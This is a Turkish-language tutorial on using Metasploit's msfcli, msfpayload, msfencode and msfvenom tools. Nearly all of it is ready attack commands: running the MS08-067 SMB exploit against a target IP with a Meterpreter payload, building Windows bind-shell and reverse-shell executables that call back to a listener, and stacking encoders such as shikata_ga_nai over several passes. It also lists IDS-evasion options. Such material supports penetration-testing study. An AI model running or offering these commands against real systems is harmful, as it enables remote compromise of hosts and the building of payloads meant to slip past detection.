**Msfcli, Msfpayload, Msfencode ve Msfvenom Kullanımları**

[*] Bu belgedeki komutlar Kali En Eski (1.0.4) ve Kali 2018.1’ de başarıyla denenmiştir.

**a. Msfcli**

Kullanım Dizilişi (Syntax’ı)

> msfcli <Exploitadi > <Option=value > <Mode>

msfcli komutun adı, exploitadi kısmına msfconsole'da girdiğiniz exploit yolu ve ismi, option=value kısmına seçilen modülün parametre ve değerleri , son olarak da mode kısmına bu girilecek komut için uygulanacak nihai aksiyon gelir.

Msfcli Modlar

| Mod | Yaptığı İş |
|---|---|
| (H)elp | Yardım menüsünün görüntülenmesini sağlar. |
| (S)ummary | Belirtilen exploit hakkında detaylı bilgi verir (Msfconsole'daki info'dur). |
| (O)ptions | Belirtilen exploit'in set edilecek değişkenlerini sunar. (Msf'deki show options) |
| (A)dvanced | Berlitilen exploit için ilgili tüm değişkenleri sunar. (Msf'deki show advanced) |
| (I)DS Evasion | IDS'lere yakalanmamak için ayarlanabilecek değişkenleri sunar. |
| (P)ayloads | Belirtilen exploit'le uyumlu tüm payload'ları sunar. |
| (T)argets | Berlitilen exploit'in işe yaradığı işletim sistemlerini sunar. |
| (AC)tions | Berlirtilen exploit ile kullanılabilecek auxiliary'leri sunar. |
| (C)heck | Belirtilen exploit'in hedef sistemde işe yarayıp yaramayacağını tespit eder. |
| (E)xecute | Belirtilen exploit'i çalıştırır. |

Kullanımı

# Seçilen modül için show (o)ptions yapılır
> msfcli exploit/windows/smb/ms08_067_netapi RHOST=172.16.3.120 RPORT=445 PAYLOAD=windows/meterpreter/bind_tcp LHOST=172.16.3.118 **O** // (O)ptions

# Seçilen modül çalıştırılır.
> msfcli exploit/windows/smb/ms08_067_netapi RHOST=172.16.3.120 RPORT=445 PAYLOAD=windows/meterpreter/bind_tcp LHOST=172.16.3.118 **E** // (E)xecute

Msfcli Hk.

Artık **msfconsole** tool'u ile de tek satırda bu işlemler yapılabilmektedir. msfconsole'a -x parametresi ile eklenecek msfconsole komutları (örn; use, set, exploit gibi…) tek satır halinde girilebilir ve sonuca ulaşabiliriz.

# Seçilen modül için show (o)ptions yapılır.
> msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 172.16.3.120; set RPORT 445; set PAYLOAD windows/meterpreter/bind_tcp; set LHOST 172.16.3.73; show options"

# Seçilen modül çalıştırılır.
msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 172.16.3.120; set RPORT 445; set PAYLOAD windows/meterpreter/bind_tcp; set LHOST 172.16.3.73; exploit"

Uyarı

Msfcli tool'u deprecated olduğu için yeni Kali'lerde aslında kullanılmamaktadır. Ancak yeni Kali'lerde yapılan find / -name "msfcli" araması sonucunda /usr/share/framework2/ dizini altında deprecated olmuş msfcli ve diğer metasploit framework yan tool'larının yer aldığı görülebilir. Dilenirse yeni Kali'lerde bu desteği çekilmiş tool'lar belirtilen dizin altından kullanılabilir. Fakat eski Kali'lerdeki gibi stabil çalışmayabilir. Çünkü bağımlı olduğu metasploit framework yeni Kali'lerde daha güncel durumdadır. Örn;

Kali 2018
> cd /usr/share/framework2/
> ./msfcli -h

**b. Msfpayload**

Kullanım Dizilişi (Syntax'ı)

> msfpayload <Options> <Payload> <Parametre=arguman> <CiktiFormati>

msfpayload komutun adı, options msfpayload'un tool parametre ve argumanlarını (örn; -h (yani help), -l (yani payload'ları listelemeye yarayan list) gibi), payload payload'un ismini, parametre=arguman seçilen payload'un parametre ve atanacak değerlerini, ciktiFormati ise payload'un hangi dilde wrap edilerek (etraflıca sarılarak) çıktılanacağını belirtir.

Msfpayload Çıktı Formatları

| Çıktı Format | Msfpayload'a Konulacak Harfi |
|---|---|
| [O]ptions | O |

| | |
|---|---|
| [C] Dili | C |
| Cs[H]arp Dili | H |
| [P]erl Dili | P |
| Ruby[Y] Dili | Y |
| [R]aw (Ham) Hal | R |
| [J]avascript Dili | J |
| e[X]e Hali | X |
| [D]ll Hali | D |
| [V]isual Basic Dili | V |
| [W]ar Hali | W |
| Pytho[N] Dili | N |

Kullanımı

# Metasploit payload'ları sıralanır.
> msfpayload -l

# Seçilen modülün seçenekleri sıralanır.
msfpayload windows/shell_bind_tcp **O** // (O)ptions

# Seçilen payload'un seçeneklerine verilen değerler nedeniyle seçenekler teyit amaçlı
# tekrar sıralanır.
> msfpayload windows/shell_bind_tcp EXITFUNC=thread LPORT=1234
RHOST=222.168.33.41 **O** // (O)ptions

# Seçilen payload modülü çıktılanır.
> msfpayload windows/shell_bind_tcp EXITFUNC=thread LPORT=1234
RHOST=222.168.33.41 **X** > payload.exe // e[X]e çıktı formatıdır.

Uyarı

Msfpayload tool'u deprecated olduğu için yeni Kali'lerde aslında kullanılmamaktadır. Ancak yeni Kali'lerde yapılan find / -name "msfpayload" araması sonucunda /usr/share/framework2/ dizini altında deprecated olmuş msfpayload ve diğer metasploit framework yan tool'larının yer aldığı görülebilir. Dilenirse yeni Kali'lerden bu desteği çekilmiş tool'lar belirtilen dizin altından kullanılabilir. Fakat eski Kali'lerdeki gibi stabil çalışmayabilir. Çünkü bağımlı olduğu metasploit framework yeni Kali'lerde daha güncel durumdadır. Örn;

Kali 2018
> cd /usr/share/framework2/
> ./msfpayload -h

**c. Msfencode**

Kullanım Dizilişi (Syntax'ı) :

> msfencode  <Options>

msfencode komutun adı, options msfencode'un tool parametre ve değerlerini alır.

Msfencode Seçenekleri

-e : encoding ismi
-t : çıktı formatı
-o : çıktı dosyası ismi
-c : count (iterasyon) sayısı

Kullanımı

# Encoding tekniklerini sıralar.
> msfencode -l

# Çıktılanan payload encode'lanır.
> msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.2 LPORT=4443 R | msfencode -e x86/shikata_ga_nai -t exe -o /root/Desktop/payload.exe

# Çıktılanan payload birden fazla kez aynı encode'lamaya tabi tutulur. [Yöntem I]
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.2 LPORT=4443 R | msfencode -e x86/shikata_ga_nai -t raw | msfencode -e x86/shikata_ga_nai -t raw | msfencode -e x86/shikata_ga_nai -t raw | msfencode -e x86/shikata_ga_nai -t exe -o payload.exe

# Çıktılanan payload birden fazla kez aynı encode'lamaya tabi tutulur. [Yöntem II]
> msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.2 LPORT=4443 R | msfencode -e x86/shikata_ga_nai **-c 5** -t exe -o payload.exe

# Çıktılanan payload farklı farklı encoding teknikleriyle encode'lanır.
> msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.2 LPORT=4443 R | msfencode -e x86/shikata_ga_nai -t raw | msfencode -e x86/alpha_upper -t raw | msfencode -e x86/shikata_ga_nai -t raw | msfencode -e x86/countdown -t exe -o payload.exe

# Çıktılanan payload farklı farklı encoding teknikleriyle her biri için birden fazla kez
# encode'lamaya tabi tutulur.
> msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.2 LPORT=4443 R | msfencode -e x86/shikata_ga_nai **-c 5** -t raw | msfencode -e x86/alpha_upper **-c 3** -t raw | msfencode -e x86/shikata_ga_nai **-c 4** -t raw | msfencode -e x86/countdown **-c 2** -t exe -o payload.exe

Uyarı

Msfencode tool’u deprecated olduğu için yeni Kali’lerde aslında kullanılmamaktadır. Ancak yeni Kali’lerde yapılan find / -name "msfencode" araması sonucunda /usr/share/framework2/ dizini altında deprecated olmuş msfencode ve diğer metasploit framework yan tool’larının yer aldığı görülebilir. Dilenirse yeni Kali’lerden bu desteği çekilmiş tool’lar belirtilen dizin altından kullanılabilir. Fakat eski Kali’lerdeki gibi stabil çalışmayabilir. Çünkü bağımlı olduğu metasploit framework yeni Kali’lerde daha güncel durumdadır. Örn;

Kali 2018
> cd /usr/share/framework2/
> ./msfencode -h

**d. Msfvenom**

Kullanım Dizilişi (Syntax’ı)

msfvenom <Options> <Parametre=arguman> <CiktiFormati>

msfvenom komutun adı, options msfvenom’un tool parametrelerini, parametre=arguman seçilen modülün parametreleri ve değerlerini, ciktiFormati ise payload’un son halinin hangi formatta olacağı bilgisini alır.

Kullanımı

# Metasploit Framework payload’larını, encoder’larını ve NOP’larını sıralar.
> msfvenom -l

# Metasploit Framework payload’larını sıralar.
> msfvenom -l payloads

# Metasploit Framework encoder’larını sıralar.
> msfvenom -l encoders

# Metasploit Framework NOP’larını sıralar.
> msfvenom -l nops

**i) Msfvenom ile Payload Oluşturma**

# Seçilen payload’un seçenekleri sıralanır.
> msfvenom -p windows/shell_bind_tcp **--payload-options**

(( Not: Eski kali’lerde --payload-options yerine -o kullanılmaktadır. Örn; ))
(( msfvenom -p windows/shell_bind_tcp -o ))

# Seçilen payload’un seçeneklerine verilen değerler nedeniyle seçenekler teyit amaçlı
# tekrar sıralanır. [Not: Atanan değerleri gösterme özelliği henüz

# desteklenmemektedir]
> msfvenom -p windows/shell_bind_tcp  EXITFUNC=thread LPORT=1234 RHOST=222.168.33.41 **--payload-options**

(( not: Eski kali'lerde --payload-options yerine -o kullanılmaktadır. Örn;  ))
(( msfvenom -p windows/shell_bind_tcp -o  ))

# Seçilen payload'un çıktısı alınır.
> msfvenom -p windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 RHOST=222.168.33.41 -f exe -o payload.exe

**ii) Msfvenom ile Encode'lama**

# Çıktılanan payload encode'lanır.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.18 LPORT=1234 -a x86 --platform windows -e x86/shikata_ga_nai -f exe -o payload.exe

# Çıktılanan payload birden fazla kez aynı encode'lamaya tabi tutulur. [Yöntem I]
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.18 LPORT=1234 -a x86 --platform windows -e x86/shikata_ga_nai -f exe | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -f exe | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -f exe | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -f exe -o payload.exe

# Çıktılanan payload birden fazla kez aynı encode'lamaya tabi tutulur. [Yöntem II]
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.18 LPORT=1234 -a x86 --platform windows -e x86/shikata_ga_nai **-i 4** -f exe -o payload.exe

# Çıktılanan payload farklı farklı encoding teknikleriyle encode'lanır.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.18 LPORT=1234 -a x86 --platform windows -e x86/shikata_ga_nai -f exe | msfvenom -a x86 --platform windows -e x86/countdown -f exe | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -f exe | msfvenom -a x86 --platform windows -e cmd/echo -f exe -o payload.exe

# Çıktılanan payload farklı farklı encoding teknikleriyle her biri için birden fazla kez
# encode'lamaya tabi tutulur.
> msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.18 LPORT=1234 -a x86 --platform windows -e x86/shikata_ga_nai **-i 4** -f exe | msfvenom -a x86 --platform windows -e x86/countdown **-i 2** -f exe | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai **-i 5** -f exe | msfvenom -a x86 –platform windows -e cmd/echo **-i 3** -f exe -o payload.exe